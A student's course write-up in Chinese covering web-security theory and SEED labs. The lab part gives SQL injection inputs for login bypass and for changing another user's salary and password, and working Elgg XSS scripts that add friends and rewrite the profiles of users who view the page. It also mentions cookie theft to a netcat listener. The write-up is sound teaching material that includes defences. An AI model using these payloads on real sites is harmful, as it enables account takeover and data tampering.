20199306 2019-2020-2 《网络攻防实践》第11周作业
20199306 2019-2020-2 《网络攻防实践》第11周作业
一.实践内容
Web应用程序体系结构和安全威胁
1.Web体系结构是一种实验浏览器在互联网或企业内部网上进行访问操作的应用软件形态,体系结构如图所示,浏览器作为“瘦”客户端主要完成数据显示与展示内容的渲染功能;“胖”服务器负责完成主要业务计算。
浏览器(Browser):标准的Web客户端就是我们所熟知的浏览器,如IE、Firefox、Chrome等,由于技术的发展,在网页中加入了许多动态的元素使网页成为更富动态性、交互性的Web应用程序终端平台;由于这些新技术扩展了浏览器的功能,提升了用户感受,也引入更多新的攻击点;
- Web服务器(Web Server):****Web服务器软件通常被简单的描述为HTTP守护程序,接收Web客户端对资源的请求,在这些请求上执行一些基本的解析处理以确定资源的存在,然后将它传送给Web应用程序来执行,待Web应用程序执行完逻辑并返回响应时,Web服务器再将这个响应返回给Web客户端,在浏览器上进行本地执行、渲染和展示;
- Web应用程序(Web Application):现代Web应用的核心是出于服务器端的业务逻辑,即Web应用程序;最普遍的Web应用程序层结构为三层体系结构:表示层、业务逻辑层和数据层组成;
- 表示层:接受Web客户端输入并显示结果,通常由HTML的显示、输入表单等标签所构成;
- 业务逻辑层:Web应用程序的核心,从表示层接收输入并在其上完成某些工作,并可能需要数据层的协作,然后将结果送回表示层;
- 数据层:以数据库或本地文件形式,提供非易失性的信息存储,这些信息可以被逻辑层请求或更新;
- 数据库(Database):Web应用存储数据的地方,数据层也作为Web应用程序多级结构中的最后一层;
- 传输协议HTTP/HTTPS:浏览器和由Web服务器、Web应用程序和数据库所构成的Web站点之间的通信传输协议是HTTP/HTTPS协议。HTTP是无状态、明文传输,运行于众所周知的默认TCP端口,因此其安全性堪忧,由此产生了HTTPS协议;
2.Web应用安全威胁
- 针对浏览器和终端用户的Web浏览安全威胁
- 针对传输网络的网络协议安全威胁
- 系统层安全威胁
- Web服务器软件安全威胁
- Web应用程序安全威胁
- Web数据安全威胁
Web应用攻防技术概述
1.信息的收集:收集的情报包括服务器域名、IP地址和虚拟IP地址、web服务器端口和其他开放的服务等。查询方法如第三章的whois查询和DNS查询。
- 手工审查程序结构和源代码:包含的不同类型信息有,
- 静态和动态生成的页面,Web站点上的静态HTML页面可能包含一些有价值的信息。
- 目录结构,攻击者可能会对服务器上可能存在的管理员目录、旧版本目录、备份目录、数据目录等进行探查。
- 辅助性文件,如CSS级联样式表、xml样式表、JavaScript文件、include文件等。
- 输入表单,是web应用程序接受用户输入的主要途径。
- 查询字符串,可以被复用以假冒其他用户、获取受限的数据、运行任意的系统命令。
- 自动下载与镜像Web站点页面:一些自动下载的工具能提高审查的效率,Linux系统上可使用lynx、wget等工具,Windows系统山可使用TelePort Pro、Offline Explorer等软件。
- 使用Google Hacking技术审查与探测Web应用程序,在web站点中的配置、计算机代码及包含的数据中,寻找安全漏洞与敏感信息的黑客技术。
- Web应用程序安全评估与漏洞检测,在获得一些关键信息后,渗透测试人员还会对目标应用程序的各个功能做一次深入研究和评估,一般使用一些辅助工具
2.攻击Web服务器软件:存在下述五类安全漏洞。
- 数据驱动的远程代码执行漏洞:Web也面临着缓冲区溢出、不安全指针、格式化字符串等一系列安全漏洞远程攻击。
- 服务器功能扩展模块漏洞:增加的其他功能包括web分布式写作与版本管理协议等,编写的质量要差一些,所以存在安全漏洞。
- 样本文件安全漏洞:web服务器软件厂商经常在软件包中包含样本文件和代码示例来演示自己平台的新奇用法,这些代码也容易受到攻击。
- 源代码泄露:特定情况下,攻击者可利用这些漏洞查看系统级的文件。
- 资源解析攻击:在处理资源请求时需要将同一资源的不同表示方式解析为标准化名称,这一过程被称为资源解析,可能会在解析过程中遗漏一些输入合法性与合理性验证的处理,从而导致攻击。
3.攻击web应用程序安全最薄弱的环节在web应用程序上,2004年将web应用程序安全威胁分为如下6类。
- 针对认证机制的攻击:用来确认用户、服务或应用身份机制的攻击手段,包括暴力枚举、利用认证机制不完善的弱点等。
- 授权机制攻击:用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段。
- 客户端攻击:扰乱或者渗透攻击web站点客户端用户的攻击手段,包括内容欺骗、跨站脚本攻击等。
- 命令执行攻击:在web站点上执行远程命令的攻击手段,包括缓冲区溢出、格式化字符串、LDAP注入、操作系统命令注入、SQL注入等。
- 信息暴露:获取web站点具体系统信息的攻击手段,包括功能滥用、拒绝服务攻击等。
- 逻辑攻击:扰乱或者渗透攻击web应用逻辑流程的攻击手段,包括功能滥用、拒绝服务攻击等。
4.攻击web数据内容:web站点还面临着针对敏感数据内容的威胁攻击,具体包括如下三个方面。
- 安全敏感数据泄露:由于不安全配置、使用者疏忽或缺乏安全意识,一些web站点上包含的安全敏感内容可能会被攻击者窃取,方法通常有手工审查、镜像站点内容和使用Google Hacking等。
- 网站篡改:在利用特定攻击手段入侵网站后,将网站的页面内容进行替换,从而宣示入侵成功或表达某种诉求。
- 不良信息内容上传:接受用户上传内容的网站如果缺乏有效的管理和安全审查,那么很容易被添加不良甚至违法信息。
5.防范措施
web站点网络传输安全设防措施:
- 对加密过程进行保护;
- 通过加密的连接通道来管理web站点,避免使用未经加密的传输协议;
- 对关键的web服务器设置静态绑定的MAC-IP映射。
web站点操作系统及服务安全设防: - 谨慎考虑是否采用动态页面技术;
- 尽量使用良好安全声誉及稳定技术支持力量的web应用软件包。
- 开发过程中重视安全编程、持续性的安全测试与维护;
- 使用web服务器软件提供的日志功能。
web站点数据安全设防措施: - 提高网站内容维护人员的数据安全意识。
- 对维护网站的数据安全实施蠕虫监测与防护。
SQL注入
1.SQL注入原理
- SQL注入是利用web应用程序数据层存在的输入验证不完善机制实施的代码注入攻击技术。是由于用户输入没有被正确地过滤以消除SQL语言中的字符串转义字符,如'"反引号;%#__--等,或者没有进行严格的判断,如未判断输入参数是否为合法整数型参数等。
- 原理是向web应用程序提供的用户输入接口输入一段精心构造的SQL查询命令。
SQL注入攻击步骤: - 1.发现SQL注入点;
- 2.判断后台数据库类型;
- 3.后台数据库中管理员用户口令字猜解
- 4.上传ASP后门,得到默认账户权限;
- 5.本地特权提升;
- 6.利用数据库扩展存储过程执行Shell命令。
2.SQL注入工具:有如下一些自动化注入工具可提升攻击效率。
- Wposion:能在动态的web文档中找出SQL注入漏洞;
- wieliekoek.pl能以网站进行工具生成的输出为输入,找出含有单表页面;
- SPIKE Proxy工具允许对待字符串进行定制,并自动化执行SQL注入;
- 国内也有许多软件,如CSC、NBSI、HDSI、WED等。
3.攻击实例
某高校科研管理机构的经费来源查询系统,是一个非常简单的ASP动态页面程序,在检索表中需用户输入一个对来款单位进行查询的关键字,便只会返回包含给定关键字的来款记录。猜想使用的SQL语句应该是类似于“SELECTFROM some_tbl where some_rec like '%INPUT%'”。然而这个程序没有对输入做任何安全验证和过滤,因此当要查询其他科员人员的经费情况时就会在输入框内填写a%'or'a'like'%a,点击检索后就可得到全部信息记录,这是因为程序在注入的输入后,使用的SQL语句就会变为SELECTFROM some_tbl where some_rec like '%a%'or'a' like '%a',而'a' like '%a'是一个永真式,使得WHERE子句永真。
4.防范措施主要包括如下几个方面
- 使用类型安全的参数编码机制;
- 凡是来自外部的用户输入,必须进行完备检查;
- 将动态的SQL语句替换为存储过程、预编译SQL或ADO命令对象;
- 加强SQL数据库服务器的配置与连接。
XSS跨站脚本攻击
1.攻击技术原理
- XSS攻击的最终目标并不是web服务器,而访问这些web服务器的用户。攻击者可以利用web应用程序中的安全漏洞在服务器端网页中插入一些恶意发客户端脚本代码,当其他用户访问网页时,浏览器就会下载并执行这些网页中的恶意脚本,从而遭受到攻击。
2.攻击类型
- 安全界普遍将其分为两种类型,即持久性XSS漏洞和非持久性XSS漏洞,另外又发现了一种基于DOM的xss攻击技术。
- 持久性XSS漏洞是危害最严重的xss漏洞,通常出现于一些可以将用户输入持久性地保存在web服务器端,并在一些“正常”的页面中持续性地显示,从而能够影响所有访问这些页面的用户。还可被设计为xss蠕虫。
- 非持久性的xss漏洞是最普遍的类型,当web浏览器在HTTP请求参数和HTML提交表单中的数据,被立即由服务器端脚本使用产生一个提供给该用户的界面,可能导致跨站脚本攻击。一个攻击的示意图如下所示:
3.攻击实例
SEED实验环境中phpBB论坛有xss漏洞,存在于posting.php文件中,该文件的源代码中在接受用户发表帖子的输入时,仅通过post数据参数中的sid进行认证,容易受到Cookie欺骗假冒攻击。而对输入的message字段没有进行任何安全检查和过滤,便直接插入数据表中,而在viewtopic.php源代码显示帖子内容时,直接将数据表中的内容进行读取显示。通过如下步骤来测试和利用漏洞。
- 测试XSS漏洞,在seed环境中phpBB论坛上发布含有脚本的帖子,就会弹出内容为“XSS”的对话框。
- 显示用户的会话Cookie,将发布的帖子转换为。
- 窃取用户会话Cookie,首先攻击者家属一个服务器,服务器可将收到的HTTP请求显示在屏幕中,发布一个包含如下脚本的帖子,当其他用户访问该帖子页面时,植入的脚本会在浏览器中自动执行。
- 假冒其他用户修改帖子,通过使用Firefox扩展组件来实现。
- 编写实现xss蠕虫,只要将含有蠕虫的代码发布在论坛上,当受害主机访问此页面时,蠕虫将自动抽取主机Cookie。
4.防范措施
- 服务器端防范:首要防范措施是对所有来自外部的用户输入进行完备检查,再通过下面三种方法来防范。
- 输入验证:如web程序在某个位置收到的用户提交的数据可能会被复制到响应界面中,web应用程序应进行严格的过滤和验证。
- 输出净化:对要复制的数据进行HTML编码,以净化可能的恶意字符。
- 消除危险的输入点:web应用程序界面有一些位置,插入用户提交的输入就会造成极大的风险。
- 客户端:需要提升浏览器的安全设置,如提高浏览器访问非受信网站时的安全等级、关闭Cookie功能或设置其为只读模式。
二.实践过程
实践一:SEED SQL注入实验
实践环境和任务
- 按照参考书来配置,但是seed里面很多文件都显示没有啊,所以在配置环境这里就很懵。。。。参考解建国同学的博客换了一个参考书来做,然后在MOOC也里学了相关的视频。使用的web网站是http://www.SEEDLabSQLInjection.com 及其本地文件夹路径/var/www/SQLInjection/。
- 我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。 员工是一般角色,可以查看或更新自己的个人资料信息。 完成以下任务:
(1)熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。 该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)在此任务中,您需要使用数据库来熟悉SQL查询。
(2)对SELECT语句的攻击;你能在不知道其他人的密码下登陆他的账号吗?你能找到修改数据库的方法吗(依旧使用上面的 SQL 语句)?比如新建一个 database,或者删除一个用户的账号。
(3)对UPDATE语句的攻击;在不知道其他人密码的情况下修改其资料。例如:你以 Alice 登陆,你的目标就是修改Ted 的资料信息,包括他的密码。攻击成功后你将可以登陆 Ted 的账号。
1.首先登陆mysql,数据库的账户是root,密码是seedubuntu;
2.使用命令use Users切换到Users数据库,使用命令show tables查看到有表credential信息;
3.使用select * from credential;来查看所有员工的信息,包括生日,薪水等。
4.打开SQL注入的网站www.SEEDLabSQLInjection.com;在未知用户名和密码的情况下随机输入信息,得到下面的截图可知用户名和密码信息提交给unsafe_home.php;
5.输入地址/var/www/SQLInjection/unsafe_home.php打开unsafe_home.php查看其源码;
其中,关键代码为:
$input_uname = $_GET[’username’];
$input_pwd = $_GET[’Password’];
$input_uname = sha1($input_pwd);
...
$sql = "SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’";
$result = $conn -> query($sql);
if(id != NULL) {
if(name==’admin’) {
return All employees information;
} else if (name !=NULL){
return employee information;
}
} else {
Authentication Fails;
}
查询语句:
SELECT id, name, eid, salary, birth, ssn, address, email,nickname,Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’
将其中的用户名改为Admin'#,密码改为任意值,这个查询语句就会变为:
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= 'Admin' #''and Password='$hashed_pwd'
在#之后的全都被注释掉了,不需要验证密码就可以通过验证
6.输入的username字段为Admin‘#(这个语句就会变成:SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name= 'Admin'# and Password='$hashed_pwd';`在SQL中,#为注释符号,也就是说#之后的全被注释掉了,那么我们登录就不需要输入密码了),Password字段为任意值,去网页登陆:
在终端输入curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20%23'就可以成功登录,通过返回的数据,可知攻击成功。
7.下面要修改数据库的内容,修改原理如图所示,我们输入指令:update credential set Name = 'HYM', EID = '12345' where ID= 1;表示将ID为1的地方把Name换为HYM,EID改为12345,然后使用select * from credential查看一下发现修改成功。更换相应的参数变量便可修改其他的值。
8.从Profile Edit页面输入信息去改Boby的信息,利用它的UPDATE的验证漏洞。首先找到update的语句,在 unsafe edit backend.php文件中,路径为 /var/www/SQLInjection,发现其中有:
sql = "UPDATE credential SET nickename='$input_nickname',email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;"
9.在登陆界面中输入', salary='12345' where Name='Boby';#,更改Boby的薪水为12345:
10.下面修改Boby的密码,首先先要将我们修改的密码值用sha1进行加密,在终端输入:echo -n 'boby123'|sha1sum。在刚更改的界面那里,输入', Password='1be367991d90b5fb03a43a21aaf74733058b6bc3' where Name='Boby';#完成对Boby密码的更改,然后登陆验证一下,能成功登陆。
11.对抗SQL注入,SQL注入漏洞的本质原因是由于执行语句和数据放在一块,使用预处理语句(Prepare Statement)可以很好的防止这一攻击出现。
主要为两块
- unsafe_home.php中,对SELECT语句进行预处理。
原来的语句修改为:
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
- unsafe_edit_backend.php中,对UPDATE语句进行预处理。
修改为:
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
实践二:SEED XSS攻击实验
实验环境和任务
- Web应用程序网站http://www.xsslabelgg.com,以及相关的文件夹/var/www/XSS/Elgg/。
- 完成下述实验任务
1.在fireFox收藏中打开书签XSS Lab Site(www.xsslabelgg.com)
2.用Alice的用户登录,用户名alice,密码seedalice
3.在Edit profile编辑个人信息的页面中的Brief description项输入,save后可以看到一个提示信息为XSS的弹窗
4.类似地,当Brief description项改为,save后可以看到一个包含自己cookie信息的弹窗
5.在个人简介中输入,其中192.168.200.4是接收信息的IP地址,5555是端口号。然后在终端中输入nc -l 5555 -v对5555端口进行监测。-l指定端口,-v显示详细信息。
6.添加受害者好友
需要知道请求好友的指令。首先要正常情况下添加一次好友,档案参考代码缺少了一块信息
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samy as a friend.
var sendurl=...; //FILL IN
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
用HTTP header live来查看数据,得知缺省的部分应该是:"http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
加入语句后,将这段代码放到Alice的About ME,注意这里要用右上角的Edit HTML模式,可视模式会将代码中的符号进行自动转义,从而导致攻击失败
用boby的账号访问Alice的个人主页,返回看boby的朋友圈会看到
7.脚本的框架在pdf中也给了,缺省的值也和上一题获取的方法一样
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
//FILL IN
var samyGuid=44;
//FILL IN
if(elgg.session.user.guid!=samyGuid)
{
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
将js脚本填入edit HTML模式下Alice的About me中保存。然后登陆Boby账户,访问Alice主页然后回到Boby主页,发现个人信息已改变。
三.学习中遇到的问题及解决
- 问题:无法将windows的内容复制到虚拟机中
- 解决:安装了vm工具
四.实践总结
本次实验难度适中,多阅读实验指导就可以做出来。